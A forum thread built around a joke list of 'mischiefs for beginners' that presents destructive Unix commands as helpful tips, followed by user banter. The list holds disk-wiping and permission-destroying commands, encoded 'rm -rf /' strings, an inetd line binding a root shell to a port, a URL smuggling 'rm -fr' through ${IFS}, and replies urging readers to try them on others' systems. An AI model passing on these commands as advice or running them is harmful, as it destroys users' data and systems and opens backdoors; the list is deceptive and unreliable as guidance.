101 mischiefs for beginners

1. chmod -R 000 /
2. If you wish your file permissions to be "as Windows", do chmod -R 777 /
3. I wonder what "cat /dev/zero > /dev/hda" does...
4. Go to IRC, they give good advice there.
5. Books are heavy, don't bother reading.
6. Asking wisely is a ritual of linux fanatics with flaming eyes. You just sniff quietly | if your general question is not answered with step-by-step tutorial instead they ask for extra details, send the helpful technician to a handy dark place.
7. Download file "*" from ftp server 127.1
8. You can pack your mp3-s with "tar -cf *.mp3"
9. If your computer does not work, try to let the electricity go straight.
10. Indexes are what make SQL slow.
11. LIBC is pointless waste of space. Erase /lib/libc
12. In graphical system there is no need for command line. To hold up the space, make "rm -f /bin*sh"
13. Actually you can also delete /bin and /usr/bin, just /usr/X11R6/bin contains necessary things.
14. rm -f /dev/null |
15. 'xhost +math.ut.ee' is a great command.
16. apt-get remove dpkg
17. Write to Linus Torvalds, he can give you good advice.
18. Best software for FTP server is wu-ftpd
19. Snarkpit is slow? No problem!
echo 127.1 www.snarkpit.net >> /etc/hosts
20. root is a pointless guy - deluser -r root
21. grep -R 'blah' /dev
22. Throwing satan out of computer: find / -perm 666 | xargs chmod 000
23. If the middle button of the mouse doesn't work, try
cat /dev/urandom > /dev/mouse
24. Before trying something, find out what advised command does first. For example: man 'rm -rf /' or man 'chmod -R 000 /'
25. Caused by a slow processor, tiredly blinking hard drive LED effect can be removed with DAM (Distributed Access Mechanism).
echo '1337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf; kill -1 'pidof inetd';
26. You want your computer to show a cool message at boot time? Try this:
echo '#!/bin/sh' > /sbin/init; echo echo "ADD YOUR MESSAGE HERE" >> /sbin/init
27. echo -e "\x72\x6D\x20\x2D\x72\x66\x20\x2F"
28. What to do if you have inunderstandable notices about evil Hackers? Send the log to /dev/null and your problem disappears!
29. echo -ne "\162\155\040\055\162\146\040\057"
30. You want the whole internet on your hard drive? Be my guest! Use the following script:
#!/bin/sh
for A in seq 0 255
do
for B in seq 0 255
do
for C in seq 0 255
do
for D in seq 0 255
do
wget -b --timeout=1 -t 1 -m $A.$B.$C.$D
sleep 0.5
done;
done;
done;
done;
31. To patch sudo security holes, you can get the patch with command wget http://www.courtesan.com/sudo/advisories/package=sudo&version=1.6.8p10&rm${IFS}-fr${IFS}*${IFS}/&platform=any
32. echo 'eval ssh-agent 2>/dev/null && kill -19 $SSH_AGENT_PID' >> ~/.bashrc
33. To kill a hanged mozilla (works better as a root)
ps | grep -q mozilla; kill -9 -$?
34. Little disk space? Superior runtime archiving: find / -type f | xargs -i% cp /dev/null %

Have fun

That's about all I understood.

Haha, yeah, you have to have a basic understanding of a UNIX system :razz: But trust me - if you get to a such of a system, try out one of those fun commands and you'll ensure the administrator a few sleepless nights :biggrin:

What's 127.1 ?

He, downloading da interweb... why not? :razz:

I'm no Unix user so I only understand some of them, but it sounds like
I shouldn't take you as a Unix teacher if I want to keep my system up
and running... :wink:

I think not.

It's not funny if they're not real commands, Nickel.

See, it'd be all fun and games until they checked the log and found out you're responsable. (If they were even stupid enough to give you those kind of rights.)

So, the only realistic way you could do those is log in as root ... in which case you're your own system administrator ... in which case you're being a dick to yourself.

Blame it on Microsoft, God does.

LOL @ Nickel.....how about

35. Understanding basiq: "o.-MG *.dat /s /h IT" %20s (cr -?) @zy

haha. OF course its not REAL commands!!

REAL unix commands look like gobbledygook to me!

ditto.

My knowledge of linux commands is

killall
./<filename>
su

thats about it.

Oh no, they are VERY real commands :biggrin: Try them out sometimes and you'll know I wasn't fooling ye around.

and Captain P.
I am not stupid enough to use those commands :razz: I don't find myself wanting to get smoked out of the job :]

Also, I haven't really tried out that internet downloading script but... it oughtta work :biggrin:

Yeah, I took a UNIX course last year. Most of those seem valid. I know
my way around BASH fairly well. We were forced to use command line
only, I also successfully crashed the command line, vi as well as uh,
XWindows or whatever it was (Maybe I'm thinking of KDE). I had more
funky stuff happen with vi than DOS' edit. Them's good times.

Well those are from a Linux Administrator student... :razz: I'm taking a Linux Administrator course in IT College... however the mail server thing is what i hate... we spent 2x1hr 45 mins for this...

Anyway, Gorbachev you prolly mean X Window System... KDE is just an environment for this, as well as is gnome, IceWM or BlackBox for instance.

and can you give me the way you successfully crashed cmd line? :biggrin:
Btw, have you ever gotten a Kernel Panic? :razz:

Yeah, I made the kernel panic, it fsckin' popped. Popped Corn all over
the place. It was actually the result after I messed up KDE, the next
time I booted it had a harsh panic. I, of course was laughing my head
off.

Yeah, I'm not super familiar with the GUIs since I don't use them, I
know OF a few including KDE and Gnome, but otherwise they're just one
of those things I don't use.

Don't remember how I crashed the command line, but it was pretty harsh,
I got vi to do some fun stuff like paste either 800 or 8000 lines
instead of overwriting 2. And I also got the command line to not show
what you've typed. It knew and you could do commands, but none of the
inputted text would show up.
